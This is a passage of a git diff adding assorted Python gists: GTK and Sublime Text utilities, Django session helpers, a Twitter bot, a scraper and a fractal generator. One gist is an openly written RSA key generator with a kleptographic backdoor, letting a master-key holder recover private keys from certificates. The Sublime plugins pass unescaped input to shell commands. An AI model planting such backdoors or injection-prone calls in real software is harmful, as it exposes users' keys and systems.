+                'Corpus Christi': easter_sunday + relativedelta(weekday=TH(+9)),
+                'Assumption of the Blessed Virgin Mary': date(year,8,15),
+                'All Saints\' Day': date(year,11,1),
+                'Independence Day': date(year,11,11),
+                'Christmas  Day': date(year, 12, 25),
+                'Boxing Day': date(year, 12, 26),
+                }
+    return holidays
+
+if __name__ == "__main__":
+    print get(2010)
diff --git a/hard-gists/1815146/._snippet.py b/hard-gists/1815146/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1815146/._snippet.py differ
diff --git a/hard-gists/1815146/snippet.py b/hard-gists/1815146/snippet.py
new file mode 100644
index 00000000..a7cd3cc2
--- /dev/null
+++ b/hard-gists/1815146/snippet.py
@@ -0,0 +1,8 @@
+#! /usr/bin/python2
+import gtk.gdk
+w = gtk.gdk.window_foreign_new( gtk.gdk.get_default_root_window().property_get("_NET_ACTIVE_WINDOW")[2][0] )
+w.set_decorations( (w.get_decorations()+1)%2 ) # toggle between 0 and 1
+gtk.gdk.window_process_all_updates()
+gtk.gdk.flush()
+
+# now bind this to super-r or something 
\ No newline at end of file
diff --git a/hard-gists/1818351/._snippet.py b/hard-gists/1818351/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1818351/._snippet.py differ
diff --git a/hard-gists/1818351/snippet.py b/hard-gists/1818351/snippet.py
new file mode 100644
index 00000000..a10dd9be
--- /dev/null
+++ b/hard-gists/1818351/snippet.py
@@ -0,0 +1,43 @@
+import datetime
+
+from django.conf import settings
+from django.contrib.auth import logout
+from django.contrib.auth.models import User
+from django.contrib.sessions.models import Session
+from django.http import HttpRequest
+from django.utils.importlib import import_module
+
+
+def init_session(session_key):
+    """
+    Initialize same session as done for ``SessionMiddleware``.
+    """
+    engine = import_module(settings.SESSION_ENGINE)
+    return engine.SessionStore(session_key)
+
+
+def main():
+    """
+    Read all available users and all available not expired sessions. Then
+    logout from each session.
+    """
+    now = datetime.datetime.now()
+    request = HttpRequest()
+
+    sessions = Session.objects.filter(expire_date__gt=now)
+    users = dict(User.objects.values_list('id', 'username'))
+
+    print('Found %d not-expired session(s).' % len(sessions))
+
+    for session in sessions:
+        username = session.get_decoded().get('_auth_user_id')
+        request.session = init_session(session.session_key)
+
+        logout(request)
+        print('    Successfully logout %r user.' % username)
+
+    print('All OK!')
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/1820074/._snippet.py b/hard-gists/1820074/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1820074/._snippet.py differ
diff --git a/hard-gists/1820074/snippet.py b/hard-gists/1820074/snippet.py
new file mode 100644
index 00000000..c3d3d546
--- /dev/null
+++ b/hard-gists/1820074/snippet.py
@@ -0,0 +1,54 @@
+import pygtk
+pygtk.require('2.0')
+import gtk
+import os
+
+class TextBox:
+	def __init__(self):
+		self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+		self.window.set_size_request(200,250)
+		self.window.connect("destroy", self.close_application)
+		self.window.set_title("sticky note")
+		self.window.set_border_width(4)
+		self.box1 = gtk.EventBox()
+		self.box1.connect('leave_notify_event',self.save_text)
+		self.window.add(self.box1)
+		self.box1.show()
+		
+		self.textview = gtk.TextView()
+		self.textbuffer = self.textview.get_buffer()
+		self.textview.set_editable(True)
+		self.box1.add(self.textview)
+		self.textview.show()
+		if os.path.isfile(os.path.join(os.getcwd(),'stickynote.txt')):
+		  infile = open('stickynote.txt','r')
+	  	if infile:
+	  	  string = infile.read()
+	  	  infile.close()
+	  	  self.textbuffer.set_text(string)
+		  
+		self.window.show()
+        
+	def close_application(self, widget):
+		file = open('stickynote.txt','w')
+		startiter = self.textbuffer.get_start_iter()
+		enditer = self.textbuffer.get_end_iter()
+		text = self.textbuffer.get_text(startiter, enditer)
+		file.write(text)
+		file.close()
+		gtk.main_quit()
+	
+	def save_text(self, widget, data=None):
+	  file = open('stickynote.txt','w')
+	  startiter = self.textbuffer.get_start_iter()
+	  enditer = self.textbuffer.get_end_iter()
+	  text = self.textbuffer.get_text(startiter, enditer)
+	  file.write(text)
+	  file.close()
+	  return	
+def main():
+	gtk.main()
+	
+if __name__ == '__main__':
+	TextBox()
+	main()
\ No newline at end of file
diff --git a/hard-gists/1820829/._snippet.py b/hard-gists/1820829/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1820829/._snippet.py differ
diff --git a/hard-gists/1820829/snippet.py b/hard-gists/1820829/snippet.py
new file mode 100644
index 00000000..0ef299f6
--- /dev/null
+++ b/hard-gists/1820829/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+
+import os
+import web
+from jinja2 import Environment,FileSystemLoader
+
+# Router
+urls = (
+    "/.*", "hello",
+    '/contact', 'rsvp'
+)
+
+app = web.application(urls, globals())
+
+# Define template rendering with jinja2 without overriding native render
+def render_template(template_name, **context):
+    extensions = context.pop('extensions', [])
+    globals = context.pop('globals', {})
+
+    jinja_env = Environment(
+            loader=FileSystemLoader(os.path.join(os.path.dirname(__file__), 'templates')),
+            extensions=extensions,
+            )
+    jinja_env.globals.update(globals)
+
+    return jinja_env.get_template(template_name).render(context)
+
+# Controller
+class hello:
+    def GET(self):
+        return render_template('index.html')
+
+class rsvp:
+    def GET(self):
+        pass
+
+if __name__ == "__main__":
+    app.run()
\ No newline at end of file
diff --git a/hard-gists/1823320/._snippet.py b/hard-gists/1823320/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1823320/._snippet.py differ
diff --git a/hard-gists/1823320/snippet.py b/hard-gists/1823320/snippet.py
new file mode 100644
index 00000000..bc632ada
--- /dev/null
+++ b/hard-gists/1823320/snippet.py
@@ -0,0 +1,10 @@
+from registration.signals import user_activated
+from django.contrib.auth import login, authenticate
+
+def login_on_activation(sender, user, request, **kwargs):
+    """Logs in the user after activation"""
+    user.backend = 'django.contrib.auth.backends.ModelBackend'
+    login(request, user)
+
+# Registers the function with the django-registration user_activated signal
+user_activated.connect(login_on_activation)
diff --git a/hard-gists/18235723e926be0afbdd/._snippet.py b/hard-gists/18235723e926be0afbdd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/18235723e926be0afbdd/._snippet.py differ
diff --git a/hard-gists/18235723e926be0afbdd/snippet.py b/hard-gists/18235723e926be0afbdd/snippet.py
new file mode 100644
index 00000000..d783651c
--- /dev/null
+++ b/hard-gists/18235723e926be0afbdd/snippet.py
@@ -0,0 +1,112 @@
+#!/usr/bin/env python
+
+import sys
+import gmpy
+
+import curve25519
+
+from struct import pack
+from hashlib import sha256
+from binascii import hexlify, unhexlify
+
+from M2Crypto import X509
+
+from Crypto.Cipher import AES
+from Crypto.PublicKey import RSA
+
+MASTER_PUB_HEX = 'ce75b4ddd279d5f8009b454fa0f025861b65ebfbe2ada0823e9d5f6c3a15cf58'
+
+# A simple AES-CTR based CSPRNG, not particularly interesting
+class AESPRNG(object):
+    def __init__(self, seed):
+        key = sha256(seed).digest()
+        self.buf      = ''
+        self.buf_left = 0
+        self.counter  = 0
+        self.cipher   = AES.new(key, AES.MODE_ECB)
+
+    def randbytes(self, n):
+        ret = ''
+        requested = n
+        while requested > 0:
+            # Grab all unused bytes in the buffer and then refill it
+            if requested > self.buf_left:
+                ret += self.buf[(16-self.buf_left):]
+                requested -= self.buf_left
+                # Encrypt the big-endian counter value for
+                # the next block of pseudorandom bytes
+                self.buf = self.cipher.encrypt(pack('>QQ', 0, self.counter))
+                self.counter += 1
+                self.buf_left = 16
+            # Grab only the bytes we need from the buffer
+            else:
+                ret += self.buf[(16-self.buf_left):(16-self.buf_left+requested)]
+                self.buf_left -= requested
+                requested = 0
+        return ret
+
+# overwrite some bytes in orig at a specificed offset
+def replace_at(orig, replace, offset):
+    return orig[0:offset] + replace + orig[offset+len(replace):]
+
+def build_key(bits=2048, e=65537, embed='', pos=1, randfunc=None):
+    # generate base key
+    rsa = RSA.generate(bits, randfunc)
+
+    # extract modulus as a string
+    n_str = unhexlify(str(hex(rsa.n))[2:-1])
+    # embed data into the modulus
+    n_hex = hexlify(replace_at(n_str, embed, pos))
+    n = gmpy.mpz(n_hex, 16)
+    p = rsa.p
+    # compute a starting point to look for a new q value
+    pre_q = n / p
+    # use the next prime as the new q value
+    q = pre_q.next_prime()
+    n = p * q
+    phi = (p-1) * (q-1)
+    # compute new private exponent
+    d = gmpy.invert(e, phi)
+    # make sure that p is smaller than q
+    if p > q:
+        (p, q) = (q, p)
+    return RSA.construct((long(n), long(e), long(d), long(p), long(q)))
+
+def recover_seed(key='', modulus=None, pos=1):
+    # recreate the main private key from the passphrase
+    main = curve25519.Private(secret=sha256(key).digest())
+    # extract the ephemeral public key from modulus
+    ephem_pub = curve25519.Public(modulus[pos:pos+32])
+    # compute seed with main private and ephemeral public
+    return (main.get_shared_key(ephem_pub), ephem_pub)
+
+if __name__ == "__main__":
+    # passphrase and filename as arguments
+    if len(sys.argv) == 3:
+        # Load an x.509 certificate from a file
+        x509 = X509.load_cert(sys.argv[2])
+        # Pull the modulus out of the certificate
+        orig_modulus = unhexlify(x509.get_pubkey().get_modulus())
+        (seed, ephem_pub) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80)
+    # no arguments, just generate a private key
+    else:
+        # deserialize main ECDH public key embedded in program
+        main_pub = curve25519.Public(unhexlify(MASTER_PUB_HEX))
+        # generate a random (yes, actually random) ECDH private key
+        ephem = curve25519.Private()
+        # derive the corresponding public key for later embedding
+        ephem_pub = ephem.get_public()
+        # combine the ECDH keys to generate the seed
+        seed = ephem.get_shared_key(main_pub)
+
+    prng = AESPRNG(seed)
+    ephem_pub = ephem_pub.serialize()
+
+    # deterministic key generation from seed 
+    rsa = build_key(embed=ephem_pub, pos=80, randfunc=prng.randbytes)
+
+    if 'orig_modulus' in locals():
+        if long(hexlify(orig_modulus), 16) != long(rsa.n):
+            raise Exception("key recovery failed")
+
+    print rsa.exportKey()
\ No newline at end of file
diff --git a/hard-gists/1825401/._snippet.py b/hard-gists/1825401/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1825401/._snippet.py differ
diff --git a/hard-gists/1825401/snippet.py b/hard-gists/1825401/snippet.py
new file mode 100644
index 00000000..49bebc0e
--- /dev/null
+++ b/hard-gists/1825401/snippet.py
@@ -0,0 +1,20 @@
+# CTags based autocompletion plugin for Sublime Text 2
+# You can add the file to the User Package in ~/Library/Application Support/Sublime Text 2/Packages and restart Sublime Text 2.
+# generate the .tags file in your project root with "ctags -R -f .tags"
+
+import sublime, sublime_plugin, os
+
+class AutocompleteAll(sublime_plugin.EventListener):
+
+    def on_query_completions(self, view, prefix, locations):
+        tags_path = view.window().folders()[0]+"/.tags"
+        results=[]
+        if (not view.window().folders() or not os.path.exists(tags_path)): #check if a project is open and the .tags file exists
+            return results
+        f=os.popen("grep -i '^"+prefix+"' '"+tags_path+"' | awk '{ print $1 }'") # grep tags from project directory .tags file
+        for i in f.readlines():
+            results.append([i.strip()])
+        results = [(item,item) for sublist in results for item in sublist] #flatten
+        results = list(set(results)) # make unique
+        results.sort() # sort
+        return results
\ No newline at end of file
diff --git a/hard-gists/1835224/._snippet.py b/hard-gists/1835224/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1835224/._snippet.py differ
diff --git a/hard-gists/1835224/snippet.py b/hard-gists/1835224/snippet.py
new file mode 100644
index 00000000..b6327f50
--- /dev/null
+++ b/hard-gists/1835224/snippet.py
@@ -0,0 +1,32 @@
+from dns.resolver import Resolver, query, NXDOMAIN
+import dns.query
+from dns.exception import Timeout
+from dns.message import make_query
+from dns.rdatatype import NS
+import socket
+from random import choice
+
+def get_zone_nameservers(zone):
+    nss = []
+    for answer in query(zone, 'NS'):
+        nss.append(socket.gethostbyname(answer.to_text()))
+    return nss
+
+def names_to_nameservers(names):
+    zone_nss = {}
+    for name in names:
+        domain, zone = name.split('.', 1)
+        if zone not in zone_nss:
+            zone_nss[zone] = get_zone_nameservers(zone + '.')
+        msg = make_query(name + '.', NS)
+        ns = choice(zone_nss[zone])
+        response = dns.query.udp(msg, ns)
+        yield (name, tuple(sorted(rr.target.to_text() for rr in response.authority[0] if rr.rdtype == NS)))
+ 
+with open('domains.txt', 'r') as fh:
+    for host, nss in names_to_nameservers(line.rstrip() for line in fh):
+        if nss == ():
+            ns = "NONE"
+        else:
+            ns = "\n\t".join(nss)
+        print host + "\n\t" + ns + "\n"
\ No newline at end of file
diff --git a/hard-gists/1844928/._snippet.py b/hard-gists/1844928/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1844928/._snippet.py differ
diff --git a/hard-gists/1844928/snippet.py b/hard-gists/1844928/snippet.py
new file mode 100644
index 00000000..b626bf19
--- /dev/null
+++ b/hard-gists/1844928/snippet.py
@@ -0,0 +1,151 @@
+#!/usr/bin/env python
+# -*- coding: utf8 -*-
+
+# Copyright (c) 2012, Valentin Lorentz
+#
+# Permission is hereby granted, free  of charge, to any person obtaining
+# a  copy  of this  software  and  associated  documentation files  (the
+# "Software"), to  deal in  the Software without  restriction, including
+# without limitation  the rights to  use, copy, modify,  merge, publish,
+# distribute,  sublicense, and/or sell  copies of  the Software,  and to
+# permit persons to whom the Software  is furnished to do so, subject to
+# the following conditions:
+#
+# The  above  copyright  notice  and  this permission  notice  shall  be
+# included in all copies or substantial portions of the Software.
+#
+# THE  SOFTWARE IS  PROVIDED  "AS  IS", WITHOUT  WARRANTY  OF ANY  KIND,
+# EXPRESS OR  IMPLIED, INCLUDING  BUT NOT LIMITED  TO THE  WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+# IN NO EVENT  SHALL THE AUTHORS OR COPYRIGHT HOLDERS  BE LIABLE FOR ANY
+# CLAIM, DAMAGES OR  OTHER LIABILITY, WHETHER IN AN  ACTION OF CONTRACT,
+# TORT  OR OTHERWISE, ARISING  FROM, OUT  OF OR  IN CONNECTION  WITH THE
+# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+"""The words 'crypter' and 'cryptage' do not exist in French.
+However, many people use them, so it is our duty to tell them they
+should not use them.
+
+WARNING: One bot for the whole Twitter is enough. The source code is
+here only as a tool for you building bots like this one, with other
+triggers. Please DO NOT ABUSE of bots, they can be a pain.
+The author is not responsible for the use made of this source code."""
+
+import time
+import json
+from urllib import urlencode
+
+import twitter
+import requests
+
+# Import the configuration. These variables should be strings.
+# See Twitter documentation to generate them.
+from config import CONSUMER_KEY, CONSUMER_SECRET, ACCESS_KEY, ACCESS_SECRET
+
+# Informations for debugging purposes. DEBUG is a boolean and OWNER is
+# a string. If DEBUG is True, the bot will only response to tweets
+# from the OWNER.
+from config import DEBUG, OWNER
+
+# Words that trigger the bot
+BLACKLIST = (u'cryptage', u'crypté', u'crypter', u'cryptés', u'cryptation')
+
+# Words that prevent the bot from replying (possibly someone else telling that
+# a word does not exist.
+WHITELIST = (u'existe', u'bot', u'chiffrer', u'chiffré', u'chiffrés',
+u'chiffrement', u'chiffrage',u'dictionnaire', u'¿', u'magic crypter'
+u'este crypter', u'traduct', u'sic', u'FUD', u'fud', u'dis', u'dire', u'pas')
+
+# The template used for noticing the user that he uses a word which does
+# not exist.
+# Should contain one of the word of the WHITELIST, if you do not want the bot
+# to enter an infinite loop.
+NOTICE_TEMPLATE = (u'@%(user)s Le mot « %(word)s » n\'existe pas '
+                u'en Français. http://ur1.ca/87cu7')
+
+class Bot(object):
+    def __init__(self):
+        self._api = twitter.Api(
+                consumer_key=CONSUMER_KEY,
+                consumer_secret=CONSUMER_SECRET,
+                access_token_key=ACCESS_KEY,
+                access_token_secret=ACCESS_SECRET)
+        self._max_id = {} # Max ID found for each keyword
+
+    def search(self, keyword):
+        """Return all new messages containing the keyword."""
+        payload = {'q': keyword.encode('ascii', 'replace')}
+        first_query = (keyword not in self._max_id)
+        if not first_query:
+            # Don't fetch messages we already processed.
+            payload.update({'since_id': self._max_id[keyword]})
+        url = 'http://search.twitter.com/search.json?%s' % urlencode(payload)
+        try:
+            r = requests.get(url)
+        except KeyboardInterrupt as e:
+            raise e
+        except:
+            print 'max query exceeded'
+            self._max_id[keyword] += 1
+            return []
+        if r.status_code != requests.codes.ok:
+            print 'warning: %i:%s' % (r.status_code, r.content)
+            return []
+
+        result = json.loads(r.content)
+        self._max_id.update({keyword: result['max_id']})
+        results = [x for x in result['results']
+                if (u' %s ' % keyword) in x['text']]
+        if first_query:
+            return []
+        elif DEBUG:
+            # Return only tweets from the owner. This avoids spamming while
+            # debugging.
+            return [x for x in results if x['from_user'] == OWNER]
+        else:
+            return results
+
+    def run(self):
+        """Main loop for the bot."""
+        try:
+            self._daemon()
+        except KeyboardInterrupt:
+            # Prevent traceback
+            pass
+
+    def _daemon(self):
+        while True:
+            for word in BLACKLIST:
+                tweets = self.search(word)
+                if tweets != []:
+                    print tweets
+                for tweet in tweets:
+                    if self.should_reply(tweet):
+                        self.notice(word, tweet['from_user'], tweet['id'])
+            time.sleep(5 if DEBUG else 120)
+
+    def should_reply(self, tweet):
+        """Return whether we should reply to this tweet or not."""
+        for word in WHITELIST:
+            if word.lower() in tweet['text'].lower():
+                return False
+        # TODO: Check whether the user asked to stop noticing him.
+        return True
+
+    def notice(self, word, user, id_=None):
+        """Notice the user that the word does not exist."""
+        print 'Sending notice to %s about %s.' % (user, word)
+        try:
+            self._api.PostUpdate(NOTICE_TEMPLATE % {'user': user, 'word': word},
+                    in_reply_to_status_id=id_)
+        except:
+            print 'failed.'
+
+
+if __name__ == '__main__':
+    try:
+        Bot().run()
+        print 'foo'
+    except KeyboardInterrupt:
+        pass
+    print 'Exiting.'
diff --git a/hard-gists/18531dba2bec928424c0/._snippet.py b/hard-gists/18531dba2bec928424c0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/18531dba2bec928424c0/._snippet.py differ
diff --git a/hard-gists/18531dba2bec928424c0/snippet.py b/hard-gists/18531dba2bec928424c0/snippet.py
new file mode 100644
index 00000000..edb3dbdd
--- /dev/null
+++ b/hard-gists/18531dba2bec928424c0/snippet.py
@@ -0,0 +1,20 @@
+from pyspark import SparkContext
+
+
+def main():
+    sc = SparkContext(appName="Test Compression")
+    # RDD has to be key, value pairs
+    data = sc.parallelize([
+        ("key1", "value1"),
+        ("key2", "value2"),
+        ("key3", "value3"),
+    ])
+
+    data.saveAsHadoopFile("/tmp/spark_compressed",
+                          "org.apache.hadoop.mapred.TextOutputFormat",
+                          compressionCodecClass="org.apache.hadoop.io.compress.GzipCodec")
+    sc.stop()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/1858252/._snippet.py b/hard-gists/1858252/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1858252/._snippet.py differ
diff --git a/hard-gists/1858252/snippet.py b/hard-gists/1858252/snippet.py
new file mode 100644
index 00000000..216811a0
--- /dev/null
+++ b/hard-gists/1858252/snippet.py
@@ -0,0 +1,27 @@
+"""http://stackoverflow.com/questions/6282432/load-sparse-array-from-npy-file
+"""
+import random
+import scipy.sparse as sparse
+import scipy.io
+import numpy as np
+
+def save_sparse_matrix(filename, x):
+    x_coo = x.tocoo()
+    row = x_coo.row
+    col = x_coo.col
+    data = x_coo.data
+    shape = x_coo.shape
+    np.savez(filename, row=row, col=col, data=data, shape=shape)
+
+def load_sparse_matrix(filename):
+    y = np.load(filename)
+    z = sparse.coo_matrix((y['data'], (y['row'], y['col'])), shape=y['shape'])
+    return z
+
+N=20000
+x = sparse.lil_matrix( (N,N) )
+for i in xrange(N):
+    x[random.randint(0,N-1),random.randint(0,N-1)]=random.randint(1,100)
+
+save_sparse_matrix('/tmp/my_array',x)
+load_sparse_matrix('/tmp/my_array.npz').tolil()
\ No newline at end of file
diff --git a/hard-gists/1860715/._snippet.py b/hard-gists/1860715/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1860715/._snippet.py differ
diff --git a/hard-gists/1860715/snippet.py b/hard-gists/1860715/snippet.py
new file mode 100644
index 00000000..ee7bc641
--- /dev/null
+++ b/hard-gists/1860715/snippet.py
@@ -0,0 +1,32 @@
+#!/usr/bin/env python                                                           
+import reddit, sys, time
+
+def handle_ratelimit(func, *args, **kwargs):
+    while True:
+        try:
+            func(*args, **kwargs)
+            break
+        except reddit.errors.RateLimitExceeded as error:
+            print '\tSleeping for %d seconds' % error.sleep_time
+            time.sleep(error.sleep_time)
+
+
+def main():
+    r = reddit.Reddit('PRAW loop test')
+    r.login()
+
+    last = None
+
+    comm = r.get_subreddit('reddit_api_test')
+    for i, sub in enumerate(comm.get_new_by_date()):
+        handle_ratelimit(sub.add_comment, 'Test comment: %d' % i)
+        cur = time.time()
+        if not last:
+            print '     %2d %s' % (i, sub.title)
+        else:
+            print '%.2f %2d %s' % (cur - last, i, sub.title)
+        last = cur
+
+
+if __name__ == '__main__':
+    sys.exit(main())
diff --git a/hard-gists/1871929/._snippet.py b/hard-gists/1871929/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1871929/._snippet.py differ
diff --git a/hard-gists/1871929/snippet.py b/hard-gists/1871929/snippet.py
new file mode 100644
index 00000000..1f5e9789
--- /dev/null
+++ b/hard-gists/1871929/snippet.py
@@ -0,0 +1,125 @@
+# Python port of Paul Bourke's http://local.wasp.uwa.edu.au/~pbourke/fractals/lyapunov/gen.c
+# By Johan Bichel Lindegaard - http://johan.cc
+
+import math
+import random
+from PIL import Image, ImageDraw
+import argparse
+import os
+
+parser = argparse.ArgumentParser(description='Search for chaos.')
+#parser.add_argument('-i', dest='maxiterations' metavar='N', type=int,
+#            help='Maximum iterations.')
+
+args = parser.parse_args()
+
+MAXITERATIONS = 100000
+NEXAMPLES = 1000
+
+def createAttractor():
+    for n in range(NEXAMPLES):        
+        lyapunov = 0
+        xmin= 1e32
+        xmax=-1e32
+        ymin= 1e32
+        ymax=-1e32
+        ax, ay, x, y = [], [], [], []
+        
+        # Initialize coefficients for this attractor
+        for i in range(6):
+            ax.append(random.uniform(-2, 2))
+            ay.append(random.uniform(-2, 2))
+    
+        # Calculate the attractor
+        drawit = True;
+        x.append(random.uniform(-0.5, 0.5))
+        y.append(random.uniform(-0.5, 0.5))
+        
+        d0 = -1
+        while d0 <= 0:
+            xe = x[0] + random.uniform(-0.5, 0.5) / 1000.0
+            ye = y[0] + random.uniform(-0.5, 0.5) / 1000.0
+            dx = x[0] - xe
+            dy = y[0] - ye
+            d0 = math.sqrt(dx * dx + dy * dy)
+
+        for i in range(MAXITERATIONS):
+            # Calculate next term
+            
+            x.append(ax[0] + ax[1]*x[i-1] + ax[2]*x[i-1]*x[i-1] + ax[3]*x[i-1]*y[i-1] + ax[4]*y[i-1] + ax[5]*y[i-1]*y[i-1])
+            y.append(ay[0] + ay[1]*x[i-1] + ay[2]*x[i-1]*x[i-1] + ay[3]*x[i-1]*y[i-1] + ay[4]*y[i-1] + ay[5]*y[i-1]*y[i-1])
+            xenew = ax[0] + ax[1]*xe + ax[2]*xe*xe + ax[3]*xe*ye + ax[4]*ye + ax[5]*ye*ye
+            yenew = ay[0] + ay[1]*xe + ay[2]*xe*xe + ay[3]*xe*ye + ay[4]*ye + ay[5]*ye*ye
+
+            # Update the bounds 
+            xmin = min(xmin,x[i])
+            ymin = min(ymin,y[i])
+            xmax = max(xmax,x[i])
+            ymax = max(ymax,y[i])
+
+            # Does the series tend to infinity
+            if xmin < -1e10 or ymin < -1e10 or xmax > 1e10 or ymax > 1e10:
+                drawit = False
+                print "infinite attractor"
+                break
+
+            # Does the series tend to a point
+            dx = x[i] - x[i-1]
+            dy = y[i] - y[i-1]
+            if abs(dx) < 1e-10 and abs(dy) < 1e-10:
+                drawit = False
+                print "point attractor"
+                break
+            
+
+            # Calculate the lyapunov exponents
+            if i > 1000:
+                dx = x[i] - xenew
+                dy = y[i] - yenew
+                dd = math.sqrt(dx * dx + dy * dy)
+                lyapunov += math.log(math.fabs(dd / d0))
+                xe = x[i] + d0 * dx / dd
+                ye = y[i] + d0 * dy / dd
+            
+        # Classify the series according to lyapunov
+        if drawit:
+            if abs(lyapunov) < 10:
+                print "neutrally stable"
+                drawit = False
+            elif lyapunov < 0:
+                print "periodic {} ".format(lyapunov)
+                drawit = False 
+            else:
+                print "chaotic {} ".format(lyapunov) 
+            
+        # Save the image
+        if drawit:
+            saveAttractor(n,ax,ay,xmin,xmax,ymin,ymax,x,y)
+
+def saveAttractor(n,a,b,xmin,xmax,ymin,ymax,x,y):
+    width, height = 500, 500
+    
+    if not os.path.exists("output"):
+        os.makedirs("output")
+
+    # Save the parameters
+    with open("output/{}.txt".format(n), "w") as f:
+        f.write("{} {} {} {}\n".format(xmin, ymin, xmax, ymax))
+        for i in range(6):
+            f.write("{} {}\n".format(a[i], b[i]))
+        f.close()
+    
+    # Save the image
+    image = Image.new("RGBA", (width, height))
+    draw = ImageDraw.Draw(image)
+    
+    for i in range(MAXITERATIONS):
+        ix = width * (x[i] - xmin) / (xmax - xmin)
+        iy = height * (y[i] - ymin) / (ymax - ymin)
+        if i > 100:
+            draw.point([ix, iy], fill="black")
+    
+    image.save("output/{}.png".format(n), "PNG")
+    print "saved attractor to ./output/{}.png".format(n)
+
+createAttractor()
\ No newline at end of file
diff --git a/hard-gists/1873692/._snippet.py b/hard-gists/1873692/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1873692/._snippet.py differ
diff --git a/hard-gists/1873692/snippet.py b/hard-gists/1873692/snippet.py
new file mode 100644
index 00000000..d7febefd
--- /dev/null
+++ b/hard-gists/1873692/snippet.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+To run this:
+
+1. Download BeautifulSoup 3.2.0:
+   http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.2.0.tar.gz
+
+2. I unzipped it into a folder named "bs3", then touched an "__init__.py" file in that folder to make it a package.
+
+3. Then place this file in the parent directory, so you've got something like this:
+
+    .
+    ├── bs3
+    │   ├── BeautifulSoup.py
+    │   ├── BeautifulSoupTests.py
+    │   ├── PKG-INFO
+    │   ├── __init__.py
+    │   └── setup.py
+    ├── cnn.py
+
+"""
+
+import codecs
+import requests
+from bs3.BeautifulSoup import BeautifulSoup, BeautifulStoneSoup
+#from bs4 import BeautifulSoup # :(
+
+def scrape(url="http://money.cnn.com/2012/02/20/news/economy/david_walker_third_party/index.htm"):
+    response = requests.get(url)
+    soup = BeautifulSoup(response.content)
+
+    container = soup.find("div", id="storytext")
+    content_list = [p.string for p in container.findAll("p") if p.string]
+    content = "\n".join(content_list)
+
+    # Also convert any HTML or XML entitied
+    stoned_content = BeautifulStoneSoup(content, 
+        convertEntities=BeautifulStoneSoup.ALL_ENTITIES)
+
+    return "".join(stoned_content.contents)
+
+def to_file(filename="cnn.txt"):
+    f = codecs.open(filename, encoding="utf-8", mode="w")
+    f.write(scrape())
+    f.close()
+
+
+if __name__ == "__main__":
+    print "Fetching content from http://money.cnn.com/2012/02/20/news/economy/david_walker_third_party/index.htm ... "
+    to_file()
+    print "done. Check out cnn.txt"
+
diff --git a/hard-gists/1876859/._snippet.py b/hard-gists/1876859/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1876859/._snippet.py differ
diff --git a/hard-gists/1876859/snippet.py b/hard-gists/1876859/snippet.py
new file mode 100644
index 00000000..9bc15cbd
--- /dev/null
+++ b/hard-gists/1876859/snippet.py
@@ -0,0 +1,22 @@
+#variation of http://urbangiraffe.com/2011/08/13/remote-editing-with-sublime-text-2/ that adds creating new folders remotely.
+
+import sublime_plugin, os
+
+class RemoteEdit(sublime_plugin.EventListener):
+  def on_post_save(self, view):
+    remote = { "/Users/leto/work/project": ["/usr/bin/scp", None, "user@server", "root_remote_path_like ~/project/", None] }
+
+    for dirname, target in remote.iteritems():
+      if view.file_name().startswith( dirname ):
+        if self.copy_file(view, target, dirname) == 256:
+          path = target[3] + os.path.dirname(target[4])
+          create_target = "ssh %s '[ -d %s  || mkdir -p %s ]'" % (target[2], path, path)
+          if os.system( create_target ) == 0:
+            self.copy_file(view, target, dirname)
+
+
+  def copy_file(self, view, target, dirname):
+    target[1] = view.file_name()
+    target[4] = view.file_name()[len(dirname):]
+    print "%s %s %s:%s%s" % tuple(target)
+    return os.system( "%s %s %s:%s%s" % tuple(target) )
\ No newline at end of file
diff --git a/hard-gists/1877577/._snippet.py b/hard-gists/1877577/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1877577/._snippet.py differ
diff --git a/hard-gists/1877577/snippet.py b/hard-gists/1877577/snippet.py
new file mode 100644
index 00000000..8f525d2c
--- /dev/null
+++ b/hard-gists/1877577/snippet.py
@@ -0,0 +1,986 @@
+"""
+The MIT License
+
+Copyright (c) 2008 Gilad Raphaelli <gilad@raphaelli.com>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
